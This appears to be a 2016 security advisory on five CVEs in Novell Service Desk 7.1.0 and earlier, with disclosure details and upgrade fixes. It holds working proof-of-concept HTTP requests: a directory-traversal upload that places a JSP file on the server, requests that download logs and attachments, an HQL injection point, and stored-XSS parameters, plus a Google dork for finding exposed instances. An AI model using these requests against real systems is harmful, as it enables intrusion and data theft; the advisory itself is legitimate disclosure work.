Hi, Novell Service Desk (now rebranded as Micro Focus Service Desk) 7.1.0 and below has a number of critical vulnerabilities that allow remote code execution, information disclosure, etc, by authenticated users. Check the full advisory below for details. Novell / Micro Focus have documented these vulnerabilities on their website at [1], [2], [3] and [4] (see the References part at the bottom of the advisory). The full advisory can be obtained from my repo at [A]. A Metasploit module that achieves RCE with the directory traversal and file upload has been submitted at [B]. Regards, Pedro [A]: https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt [B]: https://github.com/rapid7/metasploit-framework/pull/6769 -------------------------- >> Multiple vulnerabilities in Novell Service Desk 7.1.0, 7.0.3 and 6.5 >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ================================================================================= Disclosure: 30/03/2016 / Last updated: 10/04/2016 >> Background on the affected products: "Novell Service Desk 7.1.0 is a complete service management solution that allows you to easily monitor and solve services issues so that there is minimal disruption to your organization, which allows users to focus on the core business. Novell Service Desk provides an online support system to meet the service requirements of all your customers, administrators, supervisors, and technicians" >> Summary: Novell Service Desk has several vulnerabilities including a file upload function that can be exploited to achieve authenticated remote code execution. The product appears to be a rebranded version of Absolute Service (another help desk system). The latter has not been tested but it is likely to contain the same vulnerabilities as Novell Service Desk. The Google dork for this application is inurl:"LiveTime/WebObjects". Version 7.2 and above now appear to be branded as "Micro Focus Service Desk". Advisories for these vulnerabilities can be found in the Micro Focus site at [1], [2], [3] and [4]. >> Technical details: #1 Vulnerability: Arbitrary file upload via directory traversal (leading to remote code execution) CVE-2016-1593 Constraints: Administrator account needed Affected versions: - NSD 7.1.0 - NSD 7.0.3 - NSD 6.5 - Possibly earlier versions The User -> Customers -> Import function allows an administrator to upload files. The path specified in the filename parameter can be traversed using ../ characters and upload a JSP file to the Tomcat directory. The default path to be traversed is /LiveTime/Uploads/ on the Novell Service Desk Virtual Appliance Demo. POST /LiveTime/WebObjects/LiveTime.woa/wo/7.0.53.19.0.2.7.0.3.0.0.1 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------2477470717121 Content-Length: 533 -----------------------------2477470717121 Content-Disposition: form-data; name="0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"; filename="../../srv/tomcat6/webapps/LiveTime/bla5.jsp" Content-Type: application/octet-stream Hello World

Hello World

Today is: <%= new java.util.Date().toString() %> -----------------------------2477470717121 Content-Disposition: form-data; name="ButtonUpload" Upload -----------------------------2477470717121-- #2 Vulnerability: Information disclosure (Download System logs as any authenticated user - even unprivileged customers) CVE-2016-1594 Constraints: User / client account needed Affected versions: - NSD 7.0.3 - NSD 6.5 - Possibly earlier versions GET /LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadLogFiles Contains the full error log, license and system information (operating system, java version, database, etc). #3 Vulnerability: Information disclosure (Download any attachment from any client as an authenticated user - even unprivileged customers) CVE-2016-1594 Constraints: User / client account needed Affected versions: - NSD 7.1.0 - NSD 7.0.3 - NSD 6.5 - Possibly earlier versions GET /LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile?attachmentId=1&entityName=ItemTypeAttach Possible entityNames are: KbaAttachment ServiceAttachment IncidentAttachment ItemAttach ProjectAttachment GroupAttachment ContractAttachment ItemTypeAttach Cycling through all attachmentId numbers will yield all attachments for each entityName. #4 Vulnerability: Hibernate Query Language (HQL) injection CVE-2016-1595 Constraints: User / client account needed Affected versions: - NSD 7.1.0 - NSD 7.0.3 - NSD 6.5 - Possibly earlier versions GET /LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile?attachmentId=1&entityName= Input is passed directly to Hibernate (line 125 of DownloadAction.class): List attachments = ((com.livetime.Session)session()).getDbSession().createQuery(new StringBuilder().append("from ").append(hasEn).append(" as attach where attach.attachmentId = ").append(hasId.intValue()).toString()).list(); hasEn is entityName (string) and hasId is attachmentId (integer) #5 Vulnerability: Stored Cross Site Scripting (XSS) CVE-2016-1596 Constraints: User / client account needed Affected versions: - NSD 7.1.0 - NSD 7.0.3 - NSD 6.5 - Possibly earlier versions Several sections of the web application are vulnerable to stored cross site scripting. This includes the administrator portal (when logged in as an administrator, technician, manager or other administrative user), the end user portal (when logged in as a normal end user) and the forums. The vulnerabilities below are just examples as the vulnerability is present in many different pages. a) In the customer portal, clicking the user name will allow you to edit your display name. The fields tf_aClientFirstName and tf_aClientLastName are also vulnerable to stored XSS. Other fields might be vulnerable but have not been tested. Example: tf_aClientFirstName=Jos">e&tf_aClientEmail=aa%40aa.bb&tf_aClientLastName=">Guestaa This can be used to attack an administrator or any other management user, as the name will be changed globally. If an administrator sees the list of users an alert box will pop up. b) In the Forums the content section is vulnerable when creating a new topic. The affected parameter is ta_selectedTopicContent. Example: tf_selectedTopicTitle=aaaaa&ta_selectedTopicContent=">&ButtonSave=Save The alert box will pop up when you view the topic. c) In User -> Organizational Units, the name parameter is vulnerable (tf_orgUnitName) when you are creating a new Organizational Unit. Example: POST /LiveTime/WebObjects/LiveTime.woa/wo/18.0.53.21.0.4.1.3.0.1 HTTP/1.1 -----------------------------3162880314525 Content-Disposition: form-data; name="tf_orgUnitName" "> The alert box will pop up when you view the Organizational Units page and possibly in other pages. d) In Configuration -> Vendors, the manufacturer name, address and city parameters are vulnerable when you are creating a new Vendor. Example: tf_aManufacturerFullName=">&tf_aManufacturerName=">&tf_aManufacturerAddress=">&tf_aManufacturerCity=">&tf_aManufacturerPostalCode=&pu_countryDGDisplayedObjects=WONoSelectionString&tf_aManufacturerPhone=&tf_aManufacturerFax=&tf_aManufacturerUrl=&ButtonSave=Save Three alert boxes will pop up when you view the Vendor page and possibly in other pages. >> Fix: #1, #3, #4 and 5# - Upgrade to version 7.2.0 #2 - Upgrade to version 7.1.0 >> References: [1] https://www.novell.com/support/kb/doc.php?id=7017428 [2] https://www.novell.com/support/kb/doc.php?id=7017429 [3] https://www.novell.com/support/kb/doc.php?id=7017431 [4] https://www.novell.com/support/kb/doc.php?id=7017430 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>